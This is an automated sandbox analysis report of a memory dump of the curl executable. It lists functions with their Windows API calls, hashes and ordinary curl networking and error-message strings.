Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-946823011
Opcode ID: 442dbc345e9b4f415719aceb11981bfa5e2c888a91d80a6018f48e6e87f44376
Instruction ID: 43775a7aabed2801f020f4617f2cb421a5eccfed6a3fe102d9e50f256f29a950
Opcode Fuzzy Hash: 442dbc345e9b4f415719aceb11981bfa5e2c888a91d80a6018f48e6e87f44376
Instruction Fuzzy Hash: 03512A36F44209ABEB21ABA0DD42FBF7779EF45700F140125FE06AB2C1DA615D06C7A2

Function 0098D7C0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 151
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 0098D80D
WSAGetLastError.WS2_32 ref: 0098D817

Part of subcall function 009823B0: GetLastError.KERNEL32(?,00000000,?,0098D974), ref: 009823B7
Part of subcall function 009823B0: GetLastError.KERNEL32(?,?,?,?,0098D974), ref: 0098246B
Part of subcall function 009823B0: SetLastError.KERNEL32(00000000,?,?,?,?,0098D974), ref: 00982476

getsockname.WS2_32(?,?,?), ref: 0098D877
WSAGetLastError.WS2_32 ref: 0098D881

Strings

ssrem inet_ntop() failed with errno %d: %s, xrefs: 0098D8EF
ssloc inet_ntop() failed with errno %d: %s, xrefs: 0098D976
getsockname() failed with errno %d: %s, xrefs: 0098D894
getpeername() failed with errno %d: %s, xrefs: 0098D82A

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$getpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 1444953621-670633250
Opcode ID: ffdf6fd8b894e83f81bf1fe953e6852a26ae835826ea6b84195706b1db38a209
Instruction ID: 6aa69a6745ac0c0940d5ce878fcc778314a4da9cbe71bac496e2f05258fb016c
Opcode Fuzzy Hash: ffdf6fd8b894e83f81bf1fe953e6852a26ae835826ea6b84195706b1db38a209
Instruction Fuzzy Hash: C841B8B6A00601ABD724FB24D842BEFB398FFD8710F40451AF98AD3382EB7555458792

Function 0097D790 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000200), ref: 0097D846

Strings

%s%s%s, xrefs: 0097D805
<stdin>, xrefs: 0097DBA7
%s%s, xrefs: 0097D895
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 0097DAE1
_curlrc, xrefs: 0097D88B
%s:%d: warning: '%s' %s, xrefs: 0097DBDA
_curlrc, xrefs: 0097D7C8, 0097D8EE
_curlrc, xrefs: 0097D7FA

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: FileModuleName
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$<stdin>$_curlrc$_curlrc$_curlrc
API String ID: 514040917-760928855
Opcode ID: 08e37b912361d848419fdeb063d8fb3bace9202d73ff939ea9afec944cba2b83
Instruction ID: 7dfab00e6496ef946b5dfa4344bef89549114f767c6c2812d044f1abeb14e116
Opcode Fuzzy Hash: 08e37b912361d848419fdeb063d8fb3bace9202d73ff939ea9afec944cba2b83
Instruction Fuzzy Hash: 45D15A7390A3419FD721AF249891B7B7BF9AF81304F19886CE8CD97242E726DC05C792

Function 0098DFB0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 232
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

htons.WS2_32(?), ref: 0098E051
ioctlsocket.WS2_32(?,8004667E,?), ref: 0098E15B
GetTickCount64.KERNEL32 ref: 0098E161
connect.WS2_32(?,?,?), ref: 0098E1CD
WSAGetLastError.WS2_32 ref: 0098E1DC

Part of subcall function 00986710: GetTickCount64.KERNEL32 ref: 0098671B

GetLastError.KERNEL32 ref: 0098E27A

Strings

Trying %s..., xrefs: 0098E05F
Immediate connect fail for %s: %s, xrefs: 0098E226
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0098E291

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$connecthtonsioctlsocket
String ID: Trying %s...$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 3234962113-3338264681
Opcode ID: c60582a7a7adc74d72f86faf33e5b1f5a7960b20bbc5ee1d72cc896031acf373
Instruction ID: f8158798117113d597198c5cf9fb341662385242bb96299a5be6b044fb1d0baf
Opcode Fuzzy Hash: c60582a7a7adc74d72f86faf33e5b1f5a7960b20bbc5ee1d72cc896031acf373
Instruction Fuzzy Hash: 2981BB706083019BDB20BF688895B6FB7E9AB85304F04492DF459D7392EA74DD468B92

Function 00A78594 Relevance: 15.7, APIs: 10, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a87d0697f19cab114cd4e9c1327a4e249e7e2a834756f7ee35802884d3ad3127
Instruction ID: b867b943c4ee07f9f1025c0e9494253eeeb7779d7e7797b1e382f096e1ecfe12
Opcode Fuzzy Hash: a87d0697f19cab114cd4e9c1327a4e249e7e2a834756f7ee35802884d3ad3127
Instruction Fuzzy Hash: A6325931E842419FDB21CF58CC88BBDBBB0AF55314F29C059D99D9B292DF389842CB61

Function 00A7F4C1 Relevance: 12.9, APIs: 6, Strings: 1, Instructions: 615COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,00975539,00000000,00000109), ref: 00A7F778
GetFileType.KERNELBASE(00000000,?,?,?,?,00975539,00000000,00000109), ref: 00A7F792
GetLastError.KERNEL32(?,?,?,?,00975539,00000000,00000109), ref: 00A7F7B5
CloseHandle.KERNEL32(00000000,?,?,?,?,00975539,00000000,00000109), ref: 00A7F7C7
CloseHandle.KERNEL32(00000000,?,?,?,?,00975539,00000000,00000109), ref: 00A7FB8D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00975539,00000000,00000109), ref: 00A7FBB9

Part of subcall function 00A7C0BD: CloseHandle.KERNELBASE(00000000,00975539,00000000,?,00A7F88C,00975539,?,?,?,?,?,?,?,00975539,00000000,00000109), ref: 00A7C10D
Part of subcall function 00A7C0BD: GetLastError.KERNEL32(?,00A7F88C,00975539,?,?,?,?,?,?,?,00975539,00000000,00000109), ref: 00A7C117

Strings

@, xrefs: 00A7F7E3

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$CloseHandle$FileType
String ID: @
API String ID: 604914513-2766056989
Opcode ID: 806457198f62af3e94e0d83e1e9858404ae388b1aded646e88d713ddad059179
Instruction ID: 972d7e25dc5205816ed12af4986058f04ddcce7533f0f8daf17082cdf58170b1
Opcode Fuzzy Hash: 806457198f62af3e94e0d83e1e9858404ae388b1aded646e88d713ddad059179
Instruction Fuzzy Hash: A32204729042069FEB299F68DD92BAE7B71EF04320F24C239E929972E1D7358E41C751

Function 00998CB0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00998DAE

Strings

Operation timed out after %ld milliseconds with %lld bytes received, xrefs: 00998F15
transfer closed with %lld bytes remaining to read, xrefs: 00998F65
Operation timed out after %ld milliseconds with %lld out of %lld bytes received, xrefs: 00998ED9
transfer closed with outstanding read data remaining, xrefs: 00998F98
select/poll returned error, xrefs: 00998D29
Done waiting for 100-continue, xrefs: 00998E47

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Done waiting for 100-continue$Operation timed out after %ld milliseconds with %lld bytes received$Operation timed out after %ld milliseconds with %lld out of %lld bytes received$select/poll returned error$transfer closed with %lld bytes remaining to read$transfer closed with outstanding read data remaining
API String ID: 1927824332-2257306976
Opcode ID: b7850f6edcdb9d1c2a07e89e7edea5181f3fc857ba1bf8a97fc687b3388d930a
Instruction ID: 772e85f0aac6f916ee9509d17292d01a124b0c8bb451668c143874f7e3eb1a2c
Opcode Fuzzy Hash: b7850f6edcdb9d1c2a07e89e7edea5181f3fc857ba1bf8a97fc687b3388d930a
Instruction Fuzzy Hash: 87912771700601ABDF189E2CCC41BABB799FF95314F08463DE81987692EB36E95587E0

Function 00A742B6 Relevance: 10.6, APIs: 7, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A78F5F: EnterCriticalSection.KERNEL32(?,?,00A75BE8,0000000D), ref: 00A78F8A

DecodePointer.KERNEL32(00AB7C20,0000001C,00A7420F,?,00000001,00000000,?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A74303
DecodePointer.KERNEL32(?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A74314
EncodePointer.KERNEL32(00000000,?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A7432D
DecodePointer.KERNEL32(-00000004,?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A7433D
EncodePointer.KERNEL32(00000000,?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A74343
DecodePointer.KERNEL32(?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A74359
DecodePointer.KERNEL32(?,00A7415D,000000FF,?,00A78F82,00000011,?,?,00A75BE8,0000000D), ref: 00A74364

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Pointer$Decode$Encode$CriticalEnterSection
String ID:
API String ID: 3368343417-0
Opcode ID: 2cd1e4c092746f74059e34c5b90da71eec5b725102a149b10b4c8ec34c732101
Instruction ID: 7d3e7bab4a5fb01b396a8f82d736cc21e197b8332475c9c00c10639e448bb43a
Opcode Fuzzy Hash: 2cd1e4c092746f74059e34c5b90da71eec5b725102a149b10b4c8ec34c732101
Instruction Fuzzy Hash: EF314731944349EADF10AFA8ED0679C7BB5AB08321F50C52AE00CAB2A1DBB45881CF65

Function 00A77F20 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 361
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

csm, xrefs: 00A77FC1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: csm
API String ID: 0-1018135373
Opcode ID: a15a81fc42a3bb5702b0d9f02ee30df59c4d06f9f8d06f4234779bde2a6bb0df
Instruction ID: 151b3e674fd1836693fbe0e6039294ce7bde17e65c70d2344e2cbae2dc2469f8
Opcode Fuzzy Hash: a15a81fc42a3bb5702b0d9f02ee30df59c4d06f9f8d06f4234779bde2a6bb0df
Instruction Fuzzy Hash: 84D1B670A446059FCB14CF68CD85AADBBB0BF05724F64C25DE46E9B392DB39E842CB50

Function 0098CF00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 0098CF32
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0098CFAC
WSAGetLastError.WS2_32 ref: 0098CFB6

Strings

Failed to set SO_KEEPALIVE on fd %d, xrefs: 0098CF3D
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 0098CFBE

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
